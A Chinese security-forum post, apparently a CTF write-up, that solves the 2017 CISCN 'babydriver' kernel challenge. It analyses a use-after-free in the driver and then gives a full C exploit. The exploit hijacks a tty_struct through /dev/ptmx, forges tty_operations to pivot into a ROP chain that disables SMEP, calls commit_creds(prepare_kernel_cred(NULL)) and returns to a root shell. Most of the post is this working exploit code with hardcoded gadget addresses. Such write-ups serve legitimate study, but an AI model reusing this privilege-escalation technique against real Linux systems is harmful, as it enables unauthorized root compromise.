吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2801|回复: 4
收起左侧

[CTF] 内核pwn(uaf-tty_struct-babydriver)-解法二

[复制链接]
HNHuangJingYU 发表于 2022-4-11 23:05
本帖最后由 HNHuangJingYU 于 2022-4-12 09:29 编辑

题目:2017 CISCN babydriver

附件文件

在这里插入图片描述

  • 给boot.sh加上-s调试参数
  • 解压rootfs.cpio后拿到./lib/modules/4.4.72/babydriver.ko漏洞文件
  • vmlinux-to-elf bzImage vmlinux得到vmlinux内核
  • 下面即可分析和编写exp了

保护

\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gjVT3sSR-1649687448618)(uaf-tty_struct-babydriver.assets/image-20220411211556090.png)\]

分析

babydriver.ko放入IDA中进入到babydriver_init模块入口函数,简单分析如下:

\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tACQip8y-1649687448618)(uaf-tty_struct-babydriver.assets/image-20220407175802956-9682741.png)\]

模块流程核心函数如下:

\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rpF0tSaR-1649687448619)(uaf-tty_struct-babydriver.assets/image-20220407191925053-9682741.png)\]

babyopen函数:

\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fwrnJrfK-1649687448620)(uaf-tty_struct-babydriver.assets/image-20220407222610082.png)\]

可以注意到参数分别是struct inode *inode, struct file *filp

inode结构存储有关文件和目录(文件夹)的信息,例如文件所有权、访问模式(读取、写入、执行权限)和文件类型。

file结构代表一个打开的文件。(它不特定于设备驱动程序;系统中每个打开的文件在struct file内核空间中都有一个关联。)直到最后一个close。在文件的所有实例都关闭后,内核释放数据结构

babyread:
在这里插入图片描述

babywrite:
在这里插入图片描述

babyioctl:
\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NECKZ5v7-1649687448622)(uaf-tty_struct-babydriver.assets/image-20220407223230395.png)\]

babyrelease函数:
\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-B1JwkFTF-1649687448622)(uaf-tty_struct-babydriver.assets/image-20220407194501638.png)\]

综上可知release函数存在一个uaf漏洞,ioctl函数可以重新分配指定大小的堆块

思路

这里利用uaf漏洞劫持tty_struct

/dev/ptmx是一种tty设备,tty设备被open的时候,会申请一个空间作为tty_struct定义如下:

struct tty_struct {
        int        magic;  //魔数  0x00005401   占4byte
        struct kref kref; //0x00000100  这个结构体最终指向typedef struct  --> int counter; 占4byte  
        struct device *dev; //占8byte
        struct tty_driver *driver;//占8byte
        const struct tty_operations *ops;   //目标指针 定义在下面
         int index;

        /* Protects ldisc changes: Lock tty not pty */
        struct ld_semaphore ldisc_sem;
        struct tty_ldisc *ldisc;

        struct mutex atomic_write_lock;
        struct mutex legacy_mutex;
        struct mutex throttle_mutex;
        struct rw_semaphore termios_rwsem;
        struct mutex winsize_mutex;
        spinlock_t ctrl_lock;
        spinlock_t flow_lock;
  //........
}

0x005401就是tty_struct结构体的魔数,struct kref值为0x1000xffffffff81a74f80就是struct tty_operations指针

struct tty_operations结构体存了许多函数指针,在对此设备进行操作的时候,就会调用这里的函数指针,定义如下:

struct tty_operations {
        struct tty_struct * (*lookup)(struct tty_driver *driver,struct inode *inode, int idx);
        int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
        void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
        int  (*open)(struct tty_struct * tty, struct file * filp);
        void (*close)(struct tty_struct * tty, struct file * filp);
        void (*shutdown)(struct tty_struct *tty);
        void (*cleanup)(struct tty_struct *tty);
        int  (*write)(struct tty_struct * tty,const unsigned char *buf, int count);
        int  (*put_char)(struct tty_struct *tty, unsigned char ch);
        void (*flush_chars)(struct tty_struct *tty);
        int  (*write_room)(struct tty_struct *tty);
        int  (*chars_in_buffer)(struct tty_struct *tty);
        int  (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
        long (*compat_ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg);
        void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
        void (*throttle)(struct tty_struct * tty);
        void (*unthrottle)(struct tty_struct * tty);
        void (*stop)(struct tty_struct *tty);
        void (*start)(struct tty_struct *tty);
  //。。。。。。
};

具体指令对应着相应的函数段,此时第八个指针也就是write函数的指针 -> 0x38处将它修改为ROP,在调用/dev/ptmx进程的write函数时即可进入ROP劫持程序执行流

首先就是常见的保存用户态环境,分别是cs、ss、sp、eflags寄存器将它们保存进全局变量便于后面取出,然后就是造成uaf劫持到tty_struct

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include<sys/ioctl.h>

#define TTY_STRUCT_SIZE  0x2e0  //gdb中 p sizeof(struct tty_struct)
#define POP_RDI 0xffffffff810d238d //: pop rdi ; ret
#define MOV_CR4_RDI 0xffffffff81004d80 //: mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5
#define POP_RAX 0xffffffff8100ce6e //: pop rax ; ret
#define SWAPGS 0xffffffff81063694 //: swapgs ; pop rbp ; ret
#define prepare_kernel_cred 0xffffffff810a1810 //通过gdb查看
#define commit_creds 0xffffffff810a1420

size_t user_cs,user_ss,user_sp,user_flags;
//size_t 32bit中4byte, 64bit中8byte

void staveStatus(){
    asm(
        "mov %cs , user_cs;"  //cs寄存器只能通过mov保存
        "mov %ss , user_ss;"
        "mov %rsp, user_sp;"
        "pushf;"
        "pop user_flags;"
        );
}
int main(){
    staveStatus();
    int fd1 = open("/dev/babydev",O_RDWR);  // alloc
    int fd2 = open("/dev/babydev",O_RDWR);  // alloc
    ioctl(fd1,0x10001,TTY_STRUCT_SIZE);  //realloc  #TTY_STRUCT_SIZE这个值可以通过gdb调试时 p sizeof(struct tty_struct)得到,必须要有符号表!
    close(fd1);   //free
    int tty_fd = open("/dev/ptmx",O_RDWR);   //uaf
}

断点在babywrite处在mov filp, cs:babydev_struct.device_buf后记录rdi的值(文件fd值),然后也就是单步调试到call _copy_from_user后面查看rdi的值如图:

可以看到已经成功拿到了tty_struct结构它的magic就是0x5401

\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jpnMOJRl-1649687448623)(uaf-tty_struct-babydriver.assets/image-20220411213104306.png)\]

我们知道tty_struct结构的第4个参数是tty_operations指针那么就可以在这里写入我们伪造的fake_tty_operations

将fd2的数据复制到我们的fake_tty_struct结构中,也可以手动设置数据,这里为了方便

size_t fake_tty_struct[4];
size_t fake_tty_operations[7];

read(fd2,fake_tty_struct,sizeof(fake_tty_struct)); //复制fd2的数据到伪造的tty结构体
fake_tty_struct[3] = &fake_tty_operations;//修改tty_operations指向我们的fake_tty_operations

write(fd2,fake_tty_struct,sizeof(fake_tty_struct)); //写入伪造的fake_tty_struct
write(tty_fd,"",1); //执行fake_tty_operations --> write

这里有个转换关系:写入的rop地址到栈中是一个双级指针格式如为(当前栈地址->rop链地址->gadget)

所以不能直接将rop地址写到第7个指针,通过放入rax -> rsp 取出二级地址执行

                size_t fake_tty_struct[4];
    size_t fake_tty_operations[7];
    size_t rop[0x10];
    int i = 0;
    rop[i++] = POP_RDI;
    rop[i++] = 0x6f0;
    rop[i++] = MOV_CR4_RDI;  //mov cr4, rdi /使得cr4 = 0x6f0
    rop[i++] = 0;  //pop rbp
    rop[i++] = &getRoot; //ret
    rop[i++] = SWAPGS; #切换
    rop[i++] = 0;
    rop[i++] = &intoUserStatus;

    memset(fake_tty_operations,'\x00',sizeof(fake_tty_operations));
    fake_tty_operations[7] = MOV_RSP_RAX; //会先执行tty_operations结构体中的write函数
    fake_tty_operations[0] = POP_RAX; //将下面rop的代码地址放入rax
    fake_tty_operations[1] = &rop;
    fake_tty_operations[2] = MOV_RSP_RAX; //执行rop流程

    read(fd2,fake_tty_struct,sizeof(fake_tty_struct)); //复制fd2的数据到伪造的tty结构体
    fake_tty_struct[3] = &fake_tty_operations;

    write(fd2,fake_tty_struct,sizeof(fake_tty_struct));
    write(tty_fd,"",1);

然后就是一些跳来跳去的gadget链,这里提权采用commit_creds(prepare_kernel_cred(NULL))方式进行提取权限和一些标准的提权流程

\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cIzJS83E-1649687448624)(uaf-tty_struct-babydriver.assets/image-20220411215012307.png)\]

完整exp

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include<sys/ioctl.h>

#define TTY_STRUCT_SIZE  0x2e0  //gdb中 p sizeof(struct tty_struct)
#define POP_RDI 0xffffffff810d238d //: pop rdi ; ret
#define MOV_CR4_RDI 0xffffffff81004d80 //: mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5
#define POP_RAX 0xffffffff8100ce6e //: pop rax ; ret
#define SWAPGS 0xffffffff81063694 //: swapgs ; pop rbp ; ret
#define prepare_kernel_cred 0xffffffff810a1810 //通过gdb查看
#define commit_creds 0xffffffff810a1420

size_t user_cs,user_ss,user_sp,user_flags;
//size_t 32bit中4byte, 64bit中8byte

void staveStatus(){
    asm(
        "mov %cs , user_cs;"  //cs寄存器只能通过mov保存
        "mov %ss , user_ss;"
        "mov %rsp, user_sp;"
        "pushf;"
        "pop user_flags;"
        );
}

void getRoot(){
    char* ((*pkc) (int)) = prepare_kernel_cred;
    void ((*cc)(char*))  = commit_creds;
    (*cc)((*pkc)(NULL));  //commit_creds(prepare_kernel_cred(NULL))
}

void getShell(){
  execl("/bin/sh","sh",NULL);
}
void intoUserStatus(){
    asm(
        "push %0;"
        "push %1;"
        "push %2;"
        "push %3;"
        "push %4;"
        "iretq;"
        :
        : "r"(user_ss),"r"(user_sp) ,"r"(user_flags) ,"r"(user_cs), "r"(&getShell)
        );
    //rop[i++] = IRETQ;  //这里发现gadget 中没有这个指令 所以手写asm
}
int main(){
    staveStatus();
    int fd1 = open("/dev/babydev",O_RDWR);  // alloc
    int fd2 = open("/dev/babydev",O_RDWR);  // alloc
    ioctl(fd1,0x10001,TTY_STRUCT_SIZE);  //realloc
    close(fd1);   //free
    int tty_fd = open("/dev/ptmx",O_RDWR);   //uaf

    size_t fake_tty_struct[4];
    size_t fake_tty_operations[7];
    size_t rop[0x10];
    int i = 0;
    rop[i++] = POP_RDI;
    rop[i++] = 0x6f0;
    rop[i++] = MOV_CR4_RDI;  //mov cr4, rdi /使得cr4 = 0x6f0
    rop[i++] = 0;  //pop rbp
    rop[i++] = &getRoot; //ret
    rop[i++] = SWAPGS;
    rop[i++] = 0;
    rop[i++] = &intoUserStatus;

    memset(fake_tty_operations,'\x00',sizeof(fake_tty_operations));
    fake_tty_operations[7] = MOV_RSP_RAX; //会先执行tty_operations结构体中的write函数
    fake_tty_operations[0] = POP_RAX; //将下面rop的代码地址放入rax
    fake_tty_operations[1] = &rop;
    fake_tty_operations[2] = MOV_RSP_RAX; //执行rop流程
    //mov_rsp_rax -> pop_rax -> mov_rsp_rax -> rop
    //这里有个转换关系:写入的rop地址到栈中是一个双级指针格式如为(当前栈地址->rop链地址->gadget)
    //所以不能直接将rop地址写到第7个指针,通过放入rax -> rsp 取出二级地址执行

    read(fd2,fake_tty_struct,sizeof(fake_tty_struct)); //复制fd2的数据到伪造的tty结构体
    fake_tty_struct[3] = &fake_tty_operations;

    write(fd2,fake_tty_struct,sizeof(fake_tty_struct));
    write(tty_fd,"",1);

    return 0;
}

成功获取root权限

\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6Hw2ptSZ-1649687448625)(uaf-tty_struct-babydriver.assets/image-20220411215316660.png)\]

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

atxz 发表于 2022-4-12 07:25
感谢分享
ljt0606 发表于 2022-4-12 09:15
happyBread 发表于 2022-4-13 00:02
gd2020 发表于 2022-4-13 11:38
谢谢,学习了..
luoye1997 发表于 2022-4-13 22:15
感谢大佬
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-25 01:57

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表